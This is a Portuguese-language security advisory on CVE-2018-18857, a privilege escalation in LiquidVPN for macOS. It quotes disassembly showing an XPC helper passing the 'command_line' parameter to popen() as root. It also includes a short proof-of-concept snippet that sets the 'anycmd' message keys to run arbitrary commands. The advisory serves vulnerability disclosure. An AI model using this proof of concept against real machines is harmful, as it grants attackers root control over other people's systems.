ASA-2018-00026 – LiquidVPN: Escalação de privilégios através do parâmetro “anycmd”


For the English version of this alert, click here.

Allele Security Alert

ASA-2018-00026

Identificador(es)

ASA-2018-00026, CVE-2018-18857

Título

Escalação de privilégios através do parâmetro “anycmd”

Fabricante(s)

LiquidVPN

Produto(s)

LiquidVPN para macOS

Versão(ões) afetada(s)

LiquidVPN 1.37, 1.36 e anterior

Versão(ões) corrigida(s)

Desconhecido

Prova de conceito

Desconhecido

Descrição

LiquidVPN instala a ferramenta auxiliar “com.smr.liquidvpn.OVPNHelper” para realizar ações privilegiadas (root). Para permitir que outros componentes LiquidVPN envie mensagens para a ferramenta auxiliar, ele implementa um serviço XPC. Análise de código estática mostrou que o serviço XPC não filtra mensagens recebidas. Isto significa que usuários regulares (atacantes locais) possam criar mensagens XPC arbitrárias e enviar para o serviço.

Detalhes técnicos

Depois de receber uma mensagem, o serviço checa pela existência do parâmetro “anycmd”:

---
...
__text:00000001000012E8 lea rsi, aAnycmd ; "anycmd"
__text:00000001000012EF mov rdi, r14 ; char *
__text:00000001000012F2 call _strcmp
__text:00000001000012F7 test eax, eax
__text:00000001000012F9 jnz loc_1000016C2
__text:00000001000012FF mov [rbp+var_10A38], r15
__text:0000000100001306 lea rsi, aCommandLine ; "command_line"
__text:000000010000130D mov rdi, rbx
...
__text:0000000100001336 lea rsi, aR ; "r"
__text:000000010000133D mov rdi, r14 ; char *
__text:0000000100001340 call _popen
...
---

Se “anycmd” é encontrado, o parâmetro “command_line” é extraído da mensagem e diretamente passado como argumento para uma chamada a popen().

A seguinte prova de conceito pode ser usada para executar comandos arbitrários no sistema:

---
...
xpc_dictionary_set_string(message, "cmd", "anycmd");
xpc_dictionary_set_bool(message, "blocking", FALSE);
xpc_dictionary_set_string(message, "command_line", "[COMANDO ARBITRÁRIO]");
...
---

Créditos

Bernd Leitner

Referência(s)

Multiple Privilege Escalation Vulnerabilities in LiquidVPN for MacOS (CVE-2018-18856, CVE-2018-18857, CVE-2018-18858, CVE-2018-18859)
https://seclists.org/fulldisclosure/2018/Nov/1

CVE-2018-18857
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18857

CVE-2018-18857
https://nvd.nist.gov/vuln/detail/CVE-2018-18857

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 1 fevereiro 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.